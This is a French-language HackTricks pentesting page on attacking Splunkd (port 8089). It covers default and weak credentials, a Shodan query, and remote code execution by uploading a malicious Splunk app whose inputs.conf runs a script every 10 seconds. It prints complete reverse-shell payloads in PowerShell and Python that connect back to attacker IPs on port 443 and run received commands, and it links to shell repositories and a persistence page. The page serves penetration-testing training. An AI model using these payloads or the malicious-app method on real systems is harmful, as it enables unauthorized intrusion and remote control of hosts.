119 lines
4.5 KiB
Markdown

# 8089 - Pentesting Splunkd
{{#include ../banners/hacktricks-training.md}}
## **Informations de base**
- Outil d'analyse de logs utilisé pour la collecte, l'analyse et la visualisation des données
- Couramment utilisé dans la surveillance de la sécurité et l'analyse commerciale
- Ports par défaut :
- Serveur web : 8000
- Service Splunkd : 8089
### Vecteurs de vulnérabilité :
1. Exploitation de la version gratuite
- La version d'essai se convertit automatiquement en version gratuite après 60 jours
- La version gratuite manque d'authentification
- Risque de sécurité potentiel si elle n'est pas gérée
- Les administrateurs peuvent négliger les implications de sécurité
2. Faiblesses des identifiants
- Anciennes versions : Identifiants par défaut `admin:changeme`
- Nouvelles versions : Identifiants définis lors de l'installation
- Potentiel d'utilisation de mots de passe faibles (par exemple, `admin`, `Welcome`, `Password123`)
3. Opportunités d'exécution de code à distance
- Plusieurs méthodes d'exécution de code :
- Applications Django côté serveur
- Points de terminaison REST
- Entrées scriptées
- Scripts d'alerte
- Support multiplateforme (Windows/Linux)
- Les entrées scriptées peuvent exécuter :
- Scripts Bash
- Scripts PowerShell
- Scripts Batch
Potentiel d'exploitation clé :
- Stockage de données sensibles
- Manque d'authentification dans la version gratuite
- Multiples vecteurs pour une potentielle exécution de code à distance
- Possibilité d'exploiter des entrées scriptées pour compromettre le système
### Shodan
- `Splunk build`
## RCE
### Créer une application personnalisée
Splunk offre une méthode sophistiquée pour l'exécution de code à distance via le déploiement d'applications personnalisées, tirant parti de ses capacités de script multiplateformes. La technique d'exploitation principale consiste à créer une application malveillante capable d'exécuter des shells inversés sur les systèmes Windows et Linux.
Une application personnalisée peut exécuter **des scripts Python, Batch, Bash ou PowerShell**. De plus, **Splunk est livré avec Python installé**, donc même sur des systèmes **Windows**, vous pourrez exécuter du code Python.
Vous pouvez utiliser [**cet**](https://github.com/0xjpuff/reverse_shell_splunk) exemple avec le **`bin`** contenant un exemple pour [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) et [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou vous pourriez créer le vôtre.
Le processus d'exploitation suit une méthodologie cohérente à travers les plateformes :
```
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
Le fichier de configuration critique `inputs.conf` active le script en :
- Définissant `disabled = 0`
- Configurant un intervalle d'exécution de 10 secondes
- Définissant le type de source du script
Le déploiement est simple :
1. Créer le package d'application malveillant
2. Configurer un écouteur (Netcat/socat) sur la machine attaquante
3. Télécharger l'application via l'interface de Splunk
4. Déclencher l'exécution automatique du script lors du téléchargement
Exemple de shell inversé Windows PowerShell :
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
```
Exemple de shell inverse Python sur Linux :
```python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE & Escalade de privilèges
Dans la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut être abusé pour escalader les privilèges et obtenir une persistance :
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
{{#endref}}
## Références
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{{#include ../banners/hacktricks-training.md}}